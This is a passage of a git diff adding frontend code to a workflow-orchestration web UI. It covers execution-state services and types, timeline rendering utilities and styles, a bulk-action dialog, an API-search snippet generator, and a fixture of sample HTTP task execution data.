+ rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 94, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__10", + retryCount: 0, + seq: 89, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413862045, + startTime: 1713413862132, + endTime: 1713413862145, + updateTime: 1713413862132, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "998255f1-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4274, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "kwmoumdlucxuwgphkxaj", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 87, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_9: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_9", + retryCount: 0, + seq: 90, + pollCount: 1, + taskDefName: "http_9", + scheduledTime: 1713413862163, + startTime: 1713413862244, + endTime: 1713413862258, + updateTime: 1713413862244, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "99945752-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2042, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "xwadanvnxdolxjqnchsa", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_9", + taskReferenceName: "http_ref_9", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 81, + loopOverTask: false, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_9", + retryCount: 0, + seq: 90, + pollCount: 1, + taskDefName: "http_9", + scheduledTime: 1713413862163, + startTime: 1713413862244, + endTime: 1713413862258, + updateTime: 1713413862244, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "99945752-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2042, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "xwadanvnxdolxjqnchsa", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_9", + taskReferenceName: "http_ref_9", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 81, + loopOverTask: false, + taskDefinition: null, + }, + ], + }, +}; diff --git a/ui-next/src/pages/execution/state/services.ts b/ui-next/src/pages/execution/state/services.ts new file mode 100644 index 0000000..ee4575e --- /dev/null +++ b/ui-next/src/pages/execution/state/services.ts @@ -0,0 +1,174 @@ +import { fetchWithContext } from "plugins/fetch"; +import { + ExecutionMachineContext, + RestartExecutionEvent, + RetryExecutionEvent, + UpdateVariablesEvent, +} from "./types"; +import { getErrors } from "utils"; +import { fetchExecution } from "commonServices"; +import { toMaybeQueryString } from "utils/toMaybeQueryString"; +import { maybeTriggerFailureWorkflow } from "utils/maybeTriggerWorkflow"; + +export { fetchExecution }; + +export const restartExecution = async ( + { executionId, authHeaders }: ExecutionMachineContext, + event: any, +) => { + const { options = {} } = event as RestartExecutionEvent; + const url = `/workflow/${executionId}/restart${toMaybeQueryString(options)}`; + + try { + const result = await fetchWithContext( + url, + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + }, + ); + return result; + } catch (error) { + const errorDetails = await getErrors(error as Response); + return Promise.reject({ originalError: error, errorDetails }); + } +}; + +const defaultRetryOptions = { + retryIfRetriedByParent: "false", +}; + +export const retryExecution = async ( + { executionId, authHeaders }: ExecutionMachineContext, + event: any, +) => { + const { options = {} } = event as RetryExecutionEvent; + + const retryOptions = { + ...options, + ...defaultRetryOptions, + }; + + const url = `/workflow/${executionId}/retry${toMaybeQueryString( + retryOptions, + )}`; + + try { + const result = await fetchWithContext( + url, + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + }, + ); + return result; + } catch (error) { + const errorDetails = await getErrors(error as Response); + return Promise.reject({ originalError: error, errorDetails }); + } +}; +export const terminateExecution = async ({ + executionId, + authHeaders, +}: ExecutionMachineContext) => { + const url = `/workflow/${executionId}${maybeTriggerFailureWorkflow()}`; + try { + const result = await fetchWithContext( + url, + {}, + { + method: "DELETE", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + }, + ); + return result; + } catch (error) { + const errorDetails = await getErrors(error as Response); + return Promise.reject({ originalError: error, errorDetails }); + } +}; + +export const resumeExecution = async ({ + executionId, + authHeaders, +}: ExecutionMachineContext) => { + const url = `/workflow/${executionId}/resume`; + try { + const result = await fetchWithContext( + url, + {}, + { + method: "PUT", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + }, + ); + return result; + } catch (error) { + const errorDetails = await getErrors(error as Response); + return Promise.reject({ originalError: error, errorDetails }); + } +}; + +export const pauseExecution = async ({ + executionId, + authHeaders, +}: ExecutionMachineContext) => { + const url = `/workflow/${executionId}/pause`; + try { + const result = await fetchWithContext( + url, + {}, + { + method: "PUT", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + }, + ); + return result; + } catch (error) { + const errorDetails = await getErrors(error as Response); + return Promise.reject({ originalError: error, errorDetails }); + } +}; + +export const updateVariables = async ( + { executionId, authHeaders }: ExecutionMachineContext, + event: UpdateVariablesEvent, +) => { + const url = `/workflow/${executionId}/variables`; + + try { + const result = await fetchWithContext( + url, + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + body: event.data, + }, + ); + return result; + } catch (error) { + const errorDetails = await getErrors(error as Response); + return Promise.reject({ originalError: error, errorDetails }); + } +}; diff --git a/ui-next/src/pages/execution/state/types.ts b/ui-next/src/pages/execution/state/types.ts new file mode 100644 index 0000000..f69a20b --- /dev/null +++ b/ui-next/src/pages/execution/state/types.ts @@ -0,0 +1,279 @@ +import { ActorRef, DoneInvokeEvent } from "xstate"; +import { + FlowEvents, + SelectNodeEvent, +} from "components/features/flow/state/types"; +import { + TaskDef, + ExecutedData, + TaskType, + AuthHeaders, + WorkflowDef, + User, + WorkflowExecution, + DoWhileSelection, + ExecutionTask, +} from "types"; +import { StatusMap } from "./StatusMapTypes"; +import { SetSelectedTaskEvent } from "../RightPanel/state/types"; + +export enum COUNT_DOWN_TYPE { + INFINITE = -1, +} + +export enum CountdownEventTypes { + TICK = "TICK", + DISABLE = "DISABLE", + ENABLE = "ENABLE", + FORCE_FINISH = "FORCE_FINISH", + UPDATE_DURATION = "UPDATE_DURATION", +} + +export enum ExecutionActionTypes { + UPDATE_EXECUTION = "updateExecution", + REFETCH = "refetch", + EXPAND_DYNAMIC_TASK = "expandDynamicTask", + COLLAPSE_DYNAMIC_TASK = "collapseDynamicTask", + CLEAR_ERROR = "clearError", + RESTART_EXECUTION = "restartExecution", + RETRY_EXECUTION = "retryExecution", + TERMINATE_EXECUTION = "terminateExecution", + RESUME_EXECUTION = "resumeExecution", + PAUSE_EXECUTION = "pauseExecution", + CHANGE_EXECUTION_TAB = "CHANGE_EXECUTION_TAB", + UPDATE_DURATION = "UPDATE_DURATION", + FETCH_FOR_LOGS = "FETCH_FOR_LOGS", + CLOSE_RIGHT_PANEL = "CLOSE_RIGHT_PANEL", + EXECUTION_UPDATED = "EXECUTION_UPDATED", + REPORT_FLOW_ERROR = "REPORT_FLOW_ERROR", + UPDATE_VARIABLES = "UPDATE_VARIABLES", + UPDATE_TASKID_IN_URL = "UPDATE_TASK_ID_IN_URL", + SET_DO_WHILE_ITERATION = "SET_DO_WHILE_ITERATION", + UPDATE_SELECTED_TASK = "UPDATE_SELECTED_TASK", + UPDATE_QUERY_PARAM = "UPDATE_QUERY_PARAM", + TOGGLE_ASSISTANT_PANEL = "TOGGLE_ASSISTANT_PANEL", +} + +export enum ExecutionTabs { + AGENT_EXECUTION_TAB = "agentExecution", + DIAGRAM_TAB = "diagram", + TASK_LIST_TAB = "taskList", + TIMELINE_TAB = "timeLine", + WORKFLOW_INTROSPECTION = "workflowIntrospection", + SUMMARY_TAB = "summary", + WORKFLOW_INPUT_OUTPUT_TAB = "workflowInputOutput", + JSON_TAB = "json", + VARIABLES_TAB = "variables", + TASKS_TO_DOMAIN_TAB = "tasksToDomain", +} +export interface CountdownContext { + duration: number; + elapsed: number; + executionStatus?: string; + countdownType?: COUNT_DOWN_TYPE; + isDisabled?: boolean; +} + +type TickEvent = { + type: CountdownEventTypes.TICK; +}; + +type DisableEvent = { + type: CountdownEventTypes.DISABLE; +}; + +type EnableEvent = { + type: CountdownEventTypes.ENABLE; +}; + +type ForceEndEvent = { + type: CountdownEventTypes.FORCE_FINISH; +}; + +export type UpdateDurationEvent = { + type: + | ExecutionActionTypes.UPDATE_DURATION + | CountdownEventTypes.UPDATE_DURATION; + duration?: number; + countdownType?: COUNT_DOWN_TYPE; + isDisabled?: boolean; +}; + +export type CountdownEvents = + | TickEvent + | DisableEvent + | EnableEvent + | ForceEndEvent + | UpdateDurationEvent + | { type: "" }; // TODO use always instead since this is deprecated + +export enum ErrorSeverity { + INFO = "info", + ERROR = "error", +} + +export enum MessageSeverity { + SUCCESS = "success", +} + +export interface TaskDefExecutionContext extends TaskDef { + executionData: ExecutedData; + forkTasks?: Array; + decisionCases?: Record; + loopOver?: TaskDefExecutionContext[]; + type: TaskType; +} + +export interface WorkflowDefExecutionContext extends WorkflowDef { + tasks: TaskDefExecutionContext[]; +} + +export type ErrorType = { + severity: ErrorSeverity; + text: string; +}; + +export type MessageType = { + severity: MessageSeverity; + text: string; +}; + +export interface ExecutionMachineContext { + execution?: WorkflowExecution; + executionId?: string; + flowChild?: ActorRef; + expandedDynamic: string[]; + workflowDefinition?: Partial; + executionStatusMap?: StatusMap; + error?: ErrorType; + authHeaders?: AuthHeaders; + currentTab: ExecutionTabs; + duration?: number; + countdownType?: COUNT_DOWN_TYPE; + isDisabledCountdown?: boolean; + currentUserInfo?: User; + message?: MessageType; + doWhileSelection?: DoWhileSelection[]; + selectedTask?: ExecutionTask; + selectedTaskReferenceName?: string; + selectedTaskId?: string; + isAssistantPanelOpen: boolean; +} + +export type UpdateExecutionEvent = { + type: ExecutionActionTypes.UPDATE_EXECUTION; + executionId: string; +}; + +export type ClearErrorEvent = { + type: ExecutionActionTypes.CLEAR_ERROR; +}; + +export type PersistErrorEvent = { + type: ExecutionActionTypes.REPORT_FLOW_ERROR; + text: string; + severity: ErrorSeverity; +}; + +export type RefetchEvent = { + type: ExecutionActionTypes.REFETCH; +}; + +export type ExpandDynamicTaskEvent = { + type: ExecutionActionTypes.EXPAND_DYNAMIC_TASK; + taskReferenceName: string; +}; + +export type CollapseDynamicTaskEvent = { + type: ExecutionActionTypes.COLLAPSE_DYNAMIC_TASK; + taskReferenceName: string; +}; + +export type SetDoWhileIterationEvent = { + type: ExecutionActionTypes.SET_DO_WHILE_ITERATION; + data: DoWhileSelection; +}; + +export type RestartExecutionEvent = { + type: ExecutionActionTypes.RESTART_EXECUTION; + options?: Record; +}; + +export type RetryExecutionEvent = { + type: ExecutionActionTypes.RETRY_EXECUTION; + options?: Record; +}; + +export type TerminateExecutionEvent = { + type: ExecutionActionTypes.TERMINATE_EXECUTION; +}; + +export type ResumeExecutionEvent = { + type: ExecutionActionTypes.RESUME_EXECUTION; +}; + +export type PauseExecutionEvent = { + type: ExecutionActionTypes.PAUSE_EXECUTION; +}; + +export type ChangeExecutionTabEvent = { + type: ExecutionActionTypes.CHANGE_EXECUTION_TAB; + tab: ExecutionTabs; +}; + +export type CloseRightPanelEvent = { + type: ExecutionActionTypes.CLOSE_RIGHT_PANEL; +}; + +export type FetchForLogsEvent = { + type: ExecutionActionTypes.FETCH_FOR_LOGS; +}; + +export type ExecutionUpdatedEvent = { + type: ExecutionActionTypes.EXECUTION_UPDATED; +}; + +export type UpdateVariablesEvent = { + type: ExecutionActionTypes.UPDATE_VARIABLES; + data: string; +}; + +export type UpdateSelectedTaskEvent = { + type: ExecutionActionTypes.UPDATE_SELECTED_TASK; + selectedTask: ExecutionTask; +}; + +export type UpdateQueryParamEvent = { + type: ExecutionActionTypes.UPDATE_QUERY_PARAM; + taskReferenceName: string; +}; + +export type ToggleAssistantPanelEvent = { + type: ExecutionActionTypes.TOGGLE_ASSISTANT_PANEL; +}; + +export type ExecutionMachineEvents = + | UpdateExecutionEvent + | ExecutionUpdatedEvent + | RefetchEvent + | ChangeExecutionTabEvent + | UpdateDurationEvent + | ExpandDynamicTaskEvent + | CloseRightPanelEvent + | CollapseDynamicTaskEvent + | SelectNodeEvent + | ClearErrorEvent + | RestartExecutionEvent + | RetryExecutionEvent + | TerminateExecutionEvent + | ResumeExecutionEvent + | PauseExecutionEvent + | FetchForLogsEvent + | SetSelectedTaskEvent + | PersistErrorEvent + | UpdateVariablesEvent + | SetDoWhileIterationEvent + | UpdateSelectedTaskEvent + | UpdateQueryParamEvent + | ToggleAssistantPanelEvent + | DoneInvokeEvent; diff --git a/ui-next/src/pages/execution/timeline.scss b/ui-next/src/pages/execution/timeline.scss new file mode 100644 index 0000000..02c7943 --- /dev/null +++ b/ui-next/src/pages/execution/timeline.scss @@ -0,0 +1,58 @@ +@mixin barColor($colorfg, $colorbg: #fff) { + background-color: $colorbg; + border-color: $colorfg; + color: $colorfg; +} + +.vis-timeline { + margin: 20px; + border-radius: 5px; +} + +.vis-panel { + &.vis-top, + &.vis-center { + border-left: none; + cursor: pointer; + } +} +.vis-label { + .vis-inner { + margin-left: 5px; + min-height: 40px; + } + &.vis-nested-group.vis-group-level-2 { + background: white; + } +} + +.vis-item { + &.status_COMPLETED { + @include barColor(#0a3812, #9fdcaa); + } + &.status_COMPLETED_WITH_ERRORS { + @include barColor(#8b5b02, #feeac5); + } + &.status_IN_PROGRESS, + &.status_SCHEDULED { + @include barColor(#11497a, #8de0f9); + } + //&.status_CANCELED { @include barColor(#26194b, #ded5f8); } + &.status_FAILED, + &.status_FAILED_WITH_TERMINAL_ERROR, + &.status_TIMED_OUT, + &.status_DF_PARTIAL, + &.status_CANCELED { + @include barColor(#7f050b, #fbb4c6); + } + &.status_SKIPPED { + @include barColor(gray); + } + &.vis-selected { + filter: brightness(70%); + } + .vis-item-content { + font-size: 10px; + padding: 0px 3px 0px 3px; + } +} diff --git a/ui-next/src/pages/execution/timelineUtils.ts b/ui-next/src/pages/execution/timelineUtils.ts new file mode 100644 index 0000000..b1347d1 --- /dev/null +++ b/ui-next/src/pages/execution/timelineUtils.ts @@ -0,0 +1,153 @@ +import _first from "lodash/first"; +import _flow from "lodash/flow"; +import _identity from "lodash/identity"; +import _last from "lodash/last"; +import { durationRenderer, juxt, timestampRenderer } from "utils"; +import { ExecutionTask } from "types/Execution"; + +// Define types for the timeline data structures +interface TimelineGroup { + id: string; + content: string; + treeLevel?: number; + nestedGroups?: string[]; +} + +interface TimelineItem { + id: string; + group: string; + content: string; + start: Date; + end: Date; + title: string; + className: string; + style?: string; +} + +type ExecutionStatusMap = Record; + +const extractGroupsAndItems = juxt( + _flow([ + _first, + (gMap: Map) => Array.from(gMap.values()), + ]), // groups to array of values + _flow([_last, _identity]), // don't modify items +); + +function truncate(val: string | undefined): string { + const maxLabelLength = 20; + if (val?.length && val.length > maxLabelLength + 3) { + return val.substring(0, maxLabelLength) + "..."; + } + return val || ""; +} + +// Extract the core logic for testing +export const processTasksToGroupsAndItems = ( + tasks: ExecutionTask[], + executionStatusMap: ExecutionStatusMap, +): [TimelineGroup[], TimelineItem[]] => { + const [groupMap, itemsList] = tasks.reduce( + ( + acc: [Map, TimelineItem[]], + t: ExecutionTask, + ): [Map, TimelineItem[]] => { + const [gc, ic] = acc; + const group: TimelineGroup = { + id: t.referenceTaskName, + content: `${truncate(t.referenceTaskName)} (${truncate( + t.workflowTask.name, + )})`, + ...(executionStatusMap[t.workflowTask.taskReferenceName]?.related == + null + ? {} + : { treeLevel: 2 }), + }; + let item: TimelineItem | TimelineItem[] = []; + if ((t.startTime && t.startTime > 0) || (t.endTime && t.endTime > 0)) { + const startTime = + t.startTime && t.startTime > 0 + ? new Date(t.startTime) + : new Date(t.endTime!); + + const endTime = + t.endTime && t.endTime > 0 + ? new Date(t.endTime) + : new Date(t.startTime!); + + const scheduledTime = t.scheduledTime + ? new Date(t.scheduledTime) + : null; + const duration = durationRenderer( + endTime.getTime() - startTime.getTime(), + ); + + item = { + id: t.taskId!, + group: t.referenceTaskName, + content: `${duration}`, + start: startTime, + end: endTime, + title: `${t.referenceTaskName} (${ + t.status + })
      ${timestampRenderer(startTime.getTime())} - ${timestampRenderer( + endTime.getTime(), + )}`, + className: `status_${t.status}`, + }; + + // Add scheduled time range as a separate item if scheduledTime is available + if (scheduledTime && scheduledTime < startTime) { + const scheduledDuration = durationRenderer( + startTime.getTime() - scheduledTime.getTime(), + ); + const scheduledItem: TimelineItem = { + id: `${t.taskId}_scheduled`, + group: t.referenceTaskName, + content: scheduledDuration, + start: scheduledTime, + end: startTime, + title: `Queue Wait Time: ${scheduledDuration}
      ${timestampRenderer(scheduledTime.getTime())} - ${timestampRenderer(startTime.getTime())}`, + className: "status_SCHEDULED", + style: "background-color: #ffb74d; opacity: 0.7;", + }; + ic.push(scheduledItem); + } + } + gc.set(t.referenceTaskName, group); + return [gc, ic.concat(Array.isArray(item) ? item : [item])]; + }, + [new Map(), [] as TimelineItem[]], + ); + + // Now process FORK_JOIN_DYNAMIC groups to set up nested groups correctly + const groupsArray = Array.from(groupMap.values()); + groupsArray.forEach((group: TimelineGroup) => { + const task = tasks.find( + (t: ExecutionTask) => t.referenceTaskName === group.id, + ); + if ( + task?.workflowTask.type === "FORK_JOIN_DYNAMIC" && + task.inputData?.forkedTasks + ) { + group.nestedGroups = task.inputData.forkedTasks.map((taskId: string) => { + // Check if the group exists as-is first + if (groupMap.has(taskId)) { + return taskId; + } + // If not, try with __iteration suffix + const suffixedId = `${taskId}__${task?.iteration}`; + if (groupMap.has(suffixedId)) { + return suffixedId; + } + // If neither exists, return the original (will cause error but preserves original behavior) + return taskId; + }); + } + }); + + return extractGroupsAndItems([groupMap, itemsList]) as [ + TimelineGroup[], + TimelineItem[], + ]; +}; diff --git a/ui-next/src/pages/executions/ApiSearchModalIntegration.tsx b/ui-next/src/pages/executions/ApiSearchModalIntegration.tsx new file mode 100644 index 0000000..62b7d2e --- /dev/null +++ b/ui-next/src/pages/executions/ApiSearchModalIntegration.tsx @@ -0,0 +1,101 @@ +import { ApiSearchModal } from "components/ApiSearchModal"; +import { toCodeT, useParamsToSdk } from "shared/CodeModal/hook"; +import { SupportedDisplayTypes } from "shared/CodeModal/types"; +import { curlHeaders } from "shared/CodeModal/curlHeader"; + +export type BuildQueryOutput = { + query: string; + freeText: string; + start: number; + size: number; + sort: string; +}; + +interface ApiSearchModalIntegrationProps { + buildQueryOutput: BuildQueryOutput; + onClose: () => void; +} + +const buildEndpoint = ({ + start, + size, + sort, + freeText, + query, +}: BuildQueryOutput) => + `${window.location.origin}/api/workflow/search?${new URLSearchParams({ + start: String(start), + size: String(size), + sort, + freeText, + query, + }).toString()}`; + +const buildCurlCode = ( + buildQueryOutput: BuildQueryOutput, + accessToken: string, +) => { + const endpoint = buildEndpoint(buildQueryOutput); + + const headers = curlHeaders(accessToken); + + const curlCommand = `curl '${endpoint}' \\${Object.entries(headers) + .map(([key, value]) => `\n-H '${key}: ${value}' \\`) + .join("")}\n--compressed`; + + return curlCommand; +}; + +const buildJsCode = ( + buildQueryOutput: BuildQueryOutput, + accessToken: string, +) => { + return `import { orkesConductorClient, WorkflowExecutor } from "@io-orkes/conductor-javascript"; + +async function searchExecution( + start = ${buildQueryOutput.start}, + size = ${buildQueryOutput.size}, + query = "${buildQueryOutput.query}", + freeText = "${buildQueryOutput.freeText}", + sort = "${buildQueryOutput.sort}" +) { + const client = await orkesConductorClient({ + TOKEN: "${accessToken}", + serverUrl: "${window.location.origin}/api" + }); + const executor = new WorkflowExecutor(client); + const results = await executor.search(start, size, query, freeText, sort ); + + return results; + } + + searchExecution(); + `; +}; + +const toCodeMap: toCodeT = { + curl: buildCurlCode, + javascript: buildJsCode, +}; + +const ApiSearchModalIntegration = ({ + onClose, + buildQueryOutput, +}: ApiSearchModalIntegrationProps) => { + const { selectedLanguage, setSelectedLanguage, code } = + useParamsToSdk(buildQueryOutput, toCodeMap); + + return ( + { + setSelectedLanguage(val); + }} + languages={Object.keys(toCodeMap) as SupportedDisplayTypes[]} + /> + ); +}; + +export { ApiSearchModalIntegration }; diff --git a/ui-next/src/pages/executions/BulkActionModule.tsx b/ui-next/src/pages/executions/BulkActionModule.tsx new file mode 100644 index 0000000..b3bb40e --- /dev/null +++ b/ui-next/src/pages/executions/BulkActionModule.tsx @@ -0,0 +1,249 @@ +import React, { SyntheticEvent, useState } from "react"; +import { + Box, + Dialog, + DialogActions, + DialogContent, + DialogTitle, + Tab, + Tabs, + Typography, +} from "@mui/material"; +import { useAction } from "utils/query"; +import { maybeTriggerFailureWorkflow } from "utils/maybeTriggerWorkflow"; +import { + Button, + DataTable, + DropdownButton, + Heading, + LinearProgress, +} from "components"; +import executionsStyles from "./executionsStyles"; +import { useAuth } from "components/features/auth"; + +interface TabPanelProps { + children?: React.ReactNode; + index: number; + value: number; +} + +function TabPanel(props: TabPanelProps) { + const { children, value, index, ...other } = props; + + return ( + + ); +} + +export default function BulkActionModule({ + selectedRows, + refetchExecution, + handleError, +}: { + selectedRows: any[]; + refetchExecution: () => void; + handleError: (error: any) => void; +}) { + const { isTrialExpired } = useAuth(); + const selectedIds = selectedRows.map((row) => row.workflowId); + const [results, setResults] = useState(null); + const [tab, setTab] = useState(0); + + const { mutate: pauseAction, isLoading: pauseLoading } = useAction( + `/workflow/bulk/pause`, + "put", + { onSuccess, onError }, + ); + const { mutate: resumeAction, isLoading: resumeLoading } = useAction( + `/workflow/bulk/resume`, + "put", + { onSuccess, onError }, + ); + const { mutate: restartCurrentAction, isLoading: restartCurrentLoading } = + useAction(`/workflow/bulk/restart`, "post", { onSuccess }); + const { mutate: restartLatestAction, isLoading: restartLatestLoading } = + useAction(`/workflow/bulk/restart?useLatestDefinitions=true`, "post", { + onSuccess, + onError, + }); + const { mutate: retryAction, isLoading: retryLoading } = useAction( + `/workflow/bulk/retry`, + "post", + { onSuccess, onError }, + ); + const { mutate: terminateAction, isLoading: terminateLoading } = useAction( + `/workflow/bulk/terminate${maybeTriggerFailureWorkflow()}`, + "post", + { onSuccess, onError }, + ); + + const isLoading = + pauseLoading || + resumeLoading || + restartCurrentLoading || + restartLatestLoading || + retryLoading || + terminateLoading; + + function onSuccess(data: any) { + const retval = { + bulkErrorResults: Object.entries(data.bulkErrorResults).map( + ([key, value]) => ({ + workflowId: key, + message: value, + }), + ), + bulkSuccessfulResults: data.bulkSuccessfulResults.map( + (value: string) => ({ + workflowId: value, + }), + ), + }; + setResults(retval); + } + + function onError(error: any) { + handleError(error); + } + + function handleClose() { + setResults(null); + setTab(0); + refetchExecution(); + } + + const handleTabChange = (_event: SyntheticEvent, newValue: number) => { + setTab(newValue); + }; + + return ( + + {selectedRows.length} Workflows Selected. + {/*@ts-ignore*/} + pauseAction({ body: JSON.stringify(selectedIds) }), + }, + { + label: "Resume", + // @ts-ignore + handler: () => resumeAction({ body: JSON.stringify(selectedIds) }), + }, + { + label: "Restart with current definitions", + handler: () => + // @ts-ignore + restartCurrentAction({ body: JSON.stringify(selectedIds) }), + }, + { + label: "Restart with latest definitions", + handler: () => + // @ts-ignore + restartLatestAction({ body: JSON.stringify(selectedIds) }), + }, + { + label: "Retry", + // @ts-ignore + handler: () => retryAction({ body: JSON.stringify(selectedIds) }), + }, + { + label: "Terminate", + handler: () => + // @ts-ignore + terminateAction({ body: JSON.stringify(selectedIds) }), + }, + ]} + > + Bulk Action + + {(results || isLoading) && ( + + + Batch Actions + + + {isLoading && } + {results && ( + + + + + + + + + 15} + /> + + + 15} + /> + + + )} + + + + + + )} + + ); +} diff --git a/ui-next/src/pages/executions/DateControlComponent.tsx b/ui-next/src/pages/executions/DateControlComponent.tsx new file mode 100644 index 0000000..ecfe281 --- /dev/null +++ b/ui-next/src/pages/executions/DateControlComponent.tsx @@ -0,0 +1,381 @@ +import { + Box, + IconButton, + Tooltip, + TooltipProps, + Typography, + styled, +} from "@mui/material"; +import { DatePickerComponent } from "./DatePickerComponent"; +import MuiTypography from "components/ui/MuiTypography"; +import CloseOutlinedIcon from "@mui/icons-material/CloseOutlined"; + +import { commonlyUsedDateTime, getSearchDateTime } from "utils/date"; + +import { featureFlags, FEATURES } from "utils/flags"; + +const textStyle = { + fontWeight: "500", + color: "#858585", + fontSize: "13px", +}; + +const timeTextStyle = { + fontWeight: "500", + color: "#1976D2", + fontSize: "13px", + paddingLeft: "5px", + paddingRight: "5px", + cursor: "pointer", +}; + +const CustomisedTooltip = styled(({ className, ...props }: TooltipProps) => ( + +))(() => ({ + "& .MuiTooltip-tooltip": { + backgroundColor: "white", + color: "rgba(6, 6, 6, 1)", + width: "100%", + filter: "drop-shadow(0px 0px 6px rgba(89, 89, 89, 0.41))", + borderRadius: "6px", + padding: "15px 10px 10px 15px", + border: "1px solid #0D94DB", + }, + "& .MuiTooltip-arrow": { + color: "white", + fontSize: "28px", + "&:before": { + border: "1px solid #0D94DB", + }, + }, +})); + +export interface DateControlComponentProps { + startTime: string; + onStartFromChange: (val: string) => void; + startTimeEnd: string; + onStartToChange: (val: string) => void; + endTimeStart: string; + onEndFromChange: (val: string) => void; + endTime: string; + onEndToChange: (val: string) => void; + fromDisplayTime: string; + setFromDisplayTime: (val: string) => void; + 